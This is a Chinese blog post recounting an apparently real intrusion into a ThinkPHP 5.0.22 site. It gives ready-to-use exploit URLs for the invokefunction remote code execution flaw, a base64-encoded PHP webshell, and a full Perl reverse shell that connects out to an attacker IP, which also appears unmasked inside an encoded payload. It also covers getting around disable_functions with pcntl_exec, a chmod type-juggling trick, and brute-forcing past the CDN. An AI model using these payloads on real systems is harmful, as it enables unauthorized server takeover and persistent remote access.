zoukankan      html  css  js  c++  java
  • 记一次在tp5代码执行下的pcntl_exec瞎操作

    0x00 已知条件
    tp 5 路由代码执行
    php 7.3.9,thinkphp 5.0.22 linux
    有cloudflare
    disable_function禁用以下函数
    passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
    

    发现没有pcntl_exec在里面,而且pcntl_exec开启

     open_basedir限制

    /home/wwwroot/example/:/tmp/:/proc/:/home/wwwroot/
    

    根目录

    /home/wwwroot/example/
    

    包含函数失效(千奇百怪)

    think\__include_file
    think\__require_file
    

    0x01 突破

    直接写php会写不进去,用php://filter base64encode包装一下写入,file_input_contents写php,发现public目录下没有任何可写目录,只有runtime和/tmp/目录下有写权限,php写进去了,但是没办法执行

    /index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=php://filter/write=convert.base64-decode/resource=/home/wwwroot/example/s.php&vars[1][]=PD9waHAKQGV2YWwoJF9HRVRbJ3IwMCddKTsKcmV0dXJuIFsnYXBwX2luaXQnICAgICA9PiBbXSwnYXBwX2JlZ2luJyAgICA9PiBbXSwnbW9kdWxlX2luaXQnICA9PiBbXSwnYWN0aW9uX2JlZ2luJyA9PiBbXSwndmlld19maWx0ZXInICA9PiBbXSwnbG9nX3dyaXRlJyAgICA9PiBbXSwnYXBwX2VuZCcgICAgICA9PiBbXTsKPz4=
    
    尝试直接用pcntl_exec执行命令
    一直接传命令的方式,会被cloudflare拦截
    二尝试用文件的方式执行,pcntl_exec反弹shell脚本
    #!/usr/bin/perl -w
    #
    
    use strict;    
    use Socket;
    use IO::Handle;
    
    my $remote_ip = 'xxx.xxx.xx.xx';
    my $remote_port = '12345';
    
    my $proto = getprotobyname("tcp");
    my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));
    my $shell = '/bin/sh -i';
    socket(SOCK, AF_INET, SOCK_STREAM, $proto);
    STDOUT->autoflush(1);
    SOCK->autoflush(1);
    connect(SOCK,$pack_addr) or die "can not connect:$!";
    open STDIN, "<&SOCK";
    open STDOUT, ">&SOCK";
    open STDERR, ">&SOCK";
    system($shell);
    close SOCK;
    exit 0;
    

    写入perl脚本到tmp目录,url编码一下,防止+号失效

    /index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=php://filter/write=convert.base64-decode/resource=/tmp/ss1.perl&vars[1][]=IyEvdXNyL2Jpbi9wZXJsIC13CiMKCnVzZSBzdHJpY3Q7ICAgIAp1c2UgU29ja2V0Owp1c2UgSU86OkhhbmRsZTsKCm15ICRyZW1vdGVfaXAgPSAnMTE5LjI5LjEuNDgnOwpteSAkcmVtb3RlX3BvcnQgPSAnMTIzNDUnOwpteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgidGNwIik7Cm15ICRwYWNrX2FkZHIgPSBzb2NrYWRkcl9pbigkcmVtb3RlX3BvcnQsIGluZXRfYXRvbigkcmVtb3RlX2lwKSk7Cm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsKc29ja2V0KFNPQ0ssIEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pOwpTVERPVVQtPmF1dG9mbHVzaCgxKTsKU09DSy0%2bYXV0b2ZsdXNoKDEpOwpjb25uZWN0KFNPQ0ssJHBhY2tfYWRkcikgb3IgZGllICJjYW4gbm90IGNvbm5lY3Q6JCEiOwpvcGVuIFNURElOLCAiPCZTT0NLIjsKb3BlbiBTVERPVVQsICI%2bJlNPQ0siOwpvcGVuIFNUREVSUiwgIj4mU09DSyI7CnN5c3RlbSgkc2hlbGwpOwpjbG9zZSBTT0NLOwpleGl0IDA7
    
    chmod 没法设置权限,默认没有执行权限,chmod第二个参数只能传八进制,但这里只能传字符串。但可以利用弱类型自动转换来
    传入

    字符串511-》十进制511 等同于八进制0755

    /index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=chmod&vars[1][]=/tmp/ss1.perl&vars[1][]=511 
    

    执行命令

    /index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=pcntl_exec&vars[1][]=/tmp/ss1.perl
    

    由于有cdn,可能没生成成功,用intruder爆破批量生成维持一下,成功反弹shell

    0x02 后续

    反弹shell之后看了一下,发现根本没有public目录,这个/home/wwwroot/example就是根目录,很明显之前脑子出问题了
    runtime目录是可以直接访问的,static/img目录下也是有权限的,直接利用file_input_contents写进去就完事了

     因为cdn的问题,会访问不了,用intruder 设置null payloads批量生成一下,访问getshell

     0x03 总结

     
    拿下才发现,其实早之前就可以getshell了,之前已经写shell到runtime了,因为误判以为runtime目录访问不到,加上cdn的佐证,一直想着包含getshell,但包含不了。最后走上了pcntl_exec这条不归路
    才导致后续这一系列瞎操作,但通过pcntl_exec反弹shell还是很香的,在web目录限制没有办法访问shell或者没地方写入的时候

      

  • 相关阅读:
    python 安装与pip安装
    使用通配符来解决数据1和11、12/13/14的问题
    数据库中一行变多行,拆分数据
    15-哈希表 HashTable
    13-自平衡二分搜索树 AVLTree
    12-并查集 UnionFind
    11-字典树 Trie
    10-线段树 Segment Tree
    09-堆 Heap(最大堆)
    08-映射 Map
  • 原文地址:https://www.cnblogs.com/r00tuser/p/12636479.html
Copyright © 2011-2022 走看看